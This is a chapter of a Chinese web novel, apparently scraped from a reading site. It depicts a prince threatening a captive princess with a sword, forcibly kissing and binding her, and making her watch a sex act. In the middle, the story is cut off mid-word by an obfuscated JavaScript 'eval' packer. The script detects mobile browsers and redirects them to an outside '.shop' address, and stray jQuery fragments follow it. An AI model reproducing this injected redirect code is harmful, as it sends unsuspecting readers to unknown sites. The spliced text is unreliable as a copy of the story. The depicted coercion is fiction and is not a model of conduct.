88. 教学

作品:《误欺清冷少师

    萧如晖被送到北凉王宫那日大发脾气,在赫连叱拓的寝殿内摔东砸西,闹得鸡飞狗跳。


    她当然不只是为了泄愤,更重要的是表明态度。她要让所有人都知道,大熙公主是被人所迫,并非自愿下嫁。


    她答应嫁给赫连叱拓不过是缓兵之计,哪晓得他是这般的迫不及待。未经过奉文帝和老西兖王的同意,就大肆宣告天下,中秋月圆日与她举行婚仪,结两国之好。


    还对外宣称,小北凉王与大熙四公主在战场上一见如故,两情相悦……


    “我呸,去他的两情相悦!”萧如晖怒目圆睁,操起凳子横扫桌案。


    桌上物件摔得噼里啪啦响。


    侍女缩着头进来,“公主殿下莫要生气了。王后为公主殿下寻来了几位熙人,以后就让他们陪公主解解闷。有厨娘,有梳头娘,还有说书人,以后公主待在北凉也不用时常想家了。”


    萧如晖扫了一眼她带进来的人,个个都低着头,看不真切,便挥手道:“没意思,都走吧。”


    谁知道是不是故意安排来监视她的,这么多人看着她还怎么逃跑?


    “咳咳——”其中一人抬起头来,佯装咳嗽两声。


    萧如晖顿时眼睛一亮,“都留下,你出去。”


    “你们怎么来了?”


    “嘘!说话小心些!”容姝一身普通妇人装束,未施粉黛,面颊也抹黑了不少。


    容昭则戴了一个黑乎乎的独眼罩,还贴了两撮小胡子,手中拿着快板,一副说书人模样。


    其余三人也都是市井扮相,伪饰成大熙民间手艺人。


    两国正在打仗,北凉国并不好进。还好北凉与大熙边境处早有通商,两国百姓百姓互有往来,涌入一些熙人并不奇怪,只在进关处多费了些功夫。


    而且他们都有真手艺在身,北凉王后又急于安抚萧如晖,便在两轮筛选之下,选了他们这些还算满意的熙人,进宫服侍萧如晖。


    兵分两路,谢慕辞带着数位军士随从备了份厚礼,以大熙二皇子萧祁夜为皇妹添妆的名义,一路敲锣打鼓地要往北凉王宫送。


    北凉欲强制联姻求取暂时的和平,断没有闭门拒客的道理。大熙皇室能派人来,恰恰也替他们证明了这场联姻的真实性。老北凉王虽忌惮赫连叱拓,但为了国之大计,还是下令开关放行,将他们迎进了王宫。


    赫连叱拓尚在镇守七虞关,听闻谢慕辞入了北凉王宫,赶紧快马加鞭也赶了回去。


    谁知道他又在使什么阴谋诡计。


    他前脚还未迈进寝殿,后脚就被老北凉王唤了去。


    席间,老北凉王与谢慕辞相谈甚欢,时而舒怀大笑,时而瞪眼咋舌,全程晾着赫连叱拓。


    赫连叱拓连饮数杯,面色沉郁。


    最终他甩了酒杯,道:“本王还有事,先走了。”


    姓谢的明显是在挑拨离间,那老东西当真听不出来吗?还是说成心要敲打他?


    赫连叱拓冷笑,老得只剩一把脆骨头了,还妄想松柏长青,占着位置不下来。


    谢慕辞从老北凉王口中得知,婚仪在三日后举行,便找了个为公主送嫁的由头想要留了下来观礼。老北凉王自然应允,有了他们的见证,两国联姻也算名正言顺。就算要出什么意外,首当其冲的也是他那个桀骜不驯的孽子。


    待赫连叱拓再次踏入自己的寝殿,室内却空无一人,他心中涌起不好的预感。


    他眸生戾气,拔出随身长刀四处搜寻,刀尖压在琉璃砖石上,拽出刺耳的尖鸣声。


    床榻上没有,柜子里没有,帘后亦没有……


    她去哪了?


    他的小公主去哪了?


    萧如晖将容姝他们安顿在东厢,又东拉西扯了好一会儿才往赫连叱拓寝殿回。她倒是想立即跟他们一起逃了,可北凉王宫戒备森严,暗中无数双眼睛盯着她,逃走谈何容易。


    为了不引人注目,她只好暂时按兵不动,先回寝殿安置,反正这几日赫连叱拓也不会回来。


    “啊!!!”


    一把泛着银光的深寒长刀骤然架在她脖子上。


    萧如晖惊恐地麻在原处不敢动弹,语无伦次道:“你,你,你怎么来了?要做什么?”


    那人背着光,身形高大,面容阴戾,一双淬毒的褐绿色眼睛死死盯着她,宛如嗜杀的浴血修罗。


    “去哪了?小公主。”


    “随便转转也不可以吗?”


    赫连叱拓抬臂,“咻”得一声,手起刀落。


    萧如晖吓得紧闭双眸,身子抖得比筛子还厉害,她以为自己不怕,可死到临头,她还是惧了。


    预想中的疼痛并未降临,取而代之的是玉簪碎地的声音,以及几缕被削断的碎发,翩然飘落。


    赫连叱拓丢下长刀,大手将人擒到身前,恶狠狠道:“萧如晖,本王改变主意了。”


    “小骗子。”


    哪来的什么“萧瑾瑜”,果然女人嘴里的话一句都不能信。


    纤薄的背脊被抵在梁柱上,双手被烙铁般的大手扣在身后,一动不得动。


    赫连叱拓另一只手捏住她下颌,直接咬了上去,疯狂汲取那甜腻的血腥味。


    他舌头强势撬开贝齿,啃咬着少女唇腔,堵得她一丝声息都发不出。


    萧如晖脑袋一片空白,眼眶憋得通红,不一会儿功夫就已经泪流满面。


    赫连叱拓触到她面上湿意,下嘴更狠了,小骗子,就该受到惩罚。


    萧如晖哭着哭着,鼻腔也堵住了,一点气都喘不上来,昏厥之际,那恶鬼竟大发慈悲,松开了她。


    他拇指碾上她的唇,阴森低语:“这地方是不是就本王碰过?”


    “不会是吗?那就看着学。”


    赫连叱拓扯下自己的腰带,将萧如晖双手绑在柱子上,朝外唤道:“将菀奴唤来。”


    萧如晖明白他想干什么,惊悚地摇头,“不要,不要这样……”


    “不要哪样?”他伸手捏了她两下,“总归是本王的妻,不会取悦本王怎么行?”


    萧如晖伸腿踢他,“荒唐,你不得好死!等着下地狱吧你!”


    “地狱?那本王还要借你吉言了。”人间何处不是地狱?他早就身陷无间烈狱,何惧再次焚身。


    叶菀悄无声息地走了进来,见俩人之间剑拔弩张,冷笑了一声。


    “小王唤奴前来是有何事?”


    叶


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366277|194932||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    菀很多时候都摸不清赫连叱拓的心思,就像他这般着急地赶回北凉王宫,还不忘将自己这个随用随弃的奴隶带上。


    “教她。”


    短短两字,惊得叶菀面色青白。


    “还愣着做什么,等死吗?”


    叶菀抚着肚皮,唇边勾起一抹讥笑,随后指尖勾到腰带上,缓缓上前去。待她埋进赫连叱拓怀里时,已然寸缕不剩。


    萧如晖赶紧闭眼,不料那人又伸手过来掐她。


    “好生看着,不然——”


    低沉的语调宛如恶魔的轻语,听得人背脊生寒。


    片刻后,萧如晖再次闭眼。


    赫连叱拓抬手强行撑开她的眼皮,哑道:“接着看。”


    “太丑了……”


    滚烫的眼泪尽数落入他掌中,灼得人心口发慌。


    赫连叱拓心烦意燥,一脚踢开叶菀,“滚吧。”


    叶菀深深看了一眼俩人,面无表情地退了出去。


    -


    翌日,容姝听闻昨夜赫连叱拓留宿寝殿,吓得魂飞魄散。


    待赫连叱拓走后,她赶紧进去探望萧如晖。只见她衣裳凌乱,一脸欲哭无泪地坐在床榻上。


    容姝上前去,抖着手将人衣裳穿好,又替她梳好散乱的头发。


    颤声问:“他,他欺负你了?”


    萧如晖眼中憋着泪,只摇了摇头,一言不发。


    容姝吁了一口气,“那就好,那就好。那这是怎么回事?”


    “我嫌他丑,他嫌我小。”


    “……”


    容姝将人抱进怀里,摸着她头发安抚道:“没被欺负就好。事不宜迟,我们得赶紧想办法逃出去。”


    因为后日就举办婚仪,身为准新娘的萧如晖一刻也不得清闲,一会儿是试婚服,一会儿是试妆面,一会儿又被拉着去走流程,压根没有逃跑的机会。


    谢慕辞被安排在外殿留宿,离此处相距甚远,也联系不上。


    用膳的时候,萧如晖问了一句:“容大将军去哪了?”


    容姝心里一咯噔,确实好久都没见到他人影了,“先前还在跟前,也不知跑哪儿去了。”


    一位侍女疾跑过来喊道:“公主殿下,不好了,小王受伤了,您快去瞧瞧吧。”


    “受的什么伤?”


    “箭伤。”


    俩人听后,同时面色凝重,萧如晖抓住那侍女的臂膀问:“死了没有?”


    那侍女摇头,“小王福大命大,怎会死呢?”


    “我是问那行刺的人。”


    “好,好像是逃了,没听说抓到人。”


    俩人又同时松了一口气,“走,先去瞧瞧。”


    王宫僻静处,谢慕辞掩护容昭撤离,斥道:“怎可鲁莽行事?万一暴露了,岂不是要命丧此地!”


    “他敢欺负公主,我就要杀了他。”


    “你若死了,你姐姐怎么办?”谢慕辞一巴掌拍在他后脑勺上,“我送你弓弩不是让你去送死的。”


    “她有你,我不担心。”容昭梗着脖子,不认为自己有错。


    “谁在那里说话?”一句女声打断二人对话。


    谢慕辞挑眉,竟是叶菀。